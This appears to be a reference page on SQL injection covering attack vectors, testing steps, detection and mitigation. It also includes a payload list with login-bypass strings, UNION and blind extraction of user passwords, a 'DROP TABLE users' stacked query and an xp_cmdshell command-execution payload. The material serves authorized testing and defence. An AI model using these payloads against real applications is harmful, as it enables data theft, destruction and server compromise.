SQL Injection

What it is

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It generally allows an attacker to view data they are not normally able to retrieve — including data belonging to other users — and can lead to unauthorized data modification, authentication bypass, or complete database compromise.

Attack Vectors

Login forms (username/password fields)
Search fields and filters
URL query parameters
HTTP headers (User-Agent, Referer, X-Forwarded-For)
Cookie values
JSON/XML API request bodies
Any field that queries a database backend

Testing Methodology

Submit a single quote (') and observe for SQL syntax errors
Test boolean conditions: ' OR '1'='1 vs ' OR '1'='2
Use UNION-based injection to extract additional columns
Test time-based blind injection with SLEEP()/WAITFOR DELAY
Enumerate database version, tables, and columns
Use error-based injection to extract data through error messages

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Basic Detection

'''' OR '1'='1' OR 1=1--" OR "1"="1admin'--admin'#' OR '1'='1'--') OR ('1'='1

Union-Based

' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--' UNION ALL SELECT NULL--' UNION SELECT 1,2,3--' UNION ALL SELECT 1,2,3--

Error-Based

' AND 1=CONVERT(int,(SELECT @@version))--' AND EXTRACTVALUE(1,CONCAT(0x5c,@@version))--' AND 1=UPDATEXML(1,CONCAT(0x5e24,(SELECT @@version),0x5e24),1)--

Boolean-Based Blind

' AND 1=1--' AND 1=2--' AND SUBSTRING(@@version,1,1)='5'--' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--

Time-Based Blind

'; WAITFOR DELAY '0:0:5'--'; SELECT SLEEP(5)--'; SELECT pg_sleep(5)--' AND SLEEP(5)--

Stacked Queries

'; DROP TABLE users--'; INSERT INTO users VALUES ('test','test')--

MySQL Specific

' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL#' AND SLEEP(5) AND 'x'='x

PostgreSQL Specific

'; SELECT pg_sleep(5)--' UNION SELECT NULL::text--

MSSQL Specific

'; WAITFOR DELAY '00:00:05'--' EXEC xp_cmdshell('whoami')--

Oracle Specific

' AND 1=dbms_pipe.receive_message('a',5)--' UNION SELECT NULL FROM DUAL--

Indicators of Vulnerability

SQL syntax errors in response
Generic error messages when submitting quotes
Different response content for TRUE vs FALSE conditions
Time delay when using SLEEP/WAITFOR
Database version strings or table names in response

Detection Guidance

Monitor application logs for SQL syntax in request parameters. Use a WAF with SQL injection detection rules. Implement database query logging and anomaly detection. Look for error messages containing SQL keywords in responses.

Mitigation & Remediation

Use parameterized queries / prepared statements
Implement input validation and allowlisting
Use an ORM with built-in protection
Apply principle of least privilege on database accounts
Enable detailed error logging server-side but never expose DB errors to clients
Use a WAF as defense-in-depth